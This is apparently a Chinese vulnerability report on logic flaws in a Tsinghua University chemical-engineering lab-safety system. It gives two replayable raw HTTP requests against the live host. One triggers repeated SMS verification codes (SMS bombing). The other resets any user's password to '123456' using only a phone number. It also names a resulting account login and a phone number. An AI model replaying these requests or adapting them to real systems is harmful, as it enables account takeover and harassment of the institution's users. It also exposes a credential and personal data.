**清华大学任意逻辑缺陷打包**

短信轰炸 + 任意用户密码重置

任意用户密码重置



然后使用用户名登录即可成功，021059/123456



短信轰炸



短信轰炸数据包

POST /lsms/register/sendPasswordCode HTTP/1.1
Host: ehs.chemeng.tsinghua.edu.cn
Content-Length: 34
Accept: application/json, text/plain, */*
roleId: null
locale: zh-CN
Authorization: undefined
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.61
Content-Type: application/json;charset=UTF-8
Origin: http://ehs.chemeng.tsinghua.edu.cn
Referer: http://ehs.chemeng.tsinghua.edu.cn/lsms/getPassword
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: serverid=1325456
Connection: close

{"code":"1","phone":"19904457834"}

任意用户密码重置数据包

POST /lsms/register/changePassword HTTP/1.1
Host: ehs.chemeng.tsinghua.edu.cn
Content-Length: 63
Accept: application/json, text/plain, */*
roleId: null
locale: zh-CN
Authorization: undefined
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.61
Content-Type: application/json;charset=UTF-8
Origin: http://ehs.chemeng.tsinghua.edu.cn
Referer: http://ehs.chemeng.tsinghua.edu.cn/lsms/getPassword
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: serverid=1325456
Connection: close

{"password":"123456","passwordVerify":"123456","phone":"19904457834"}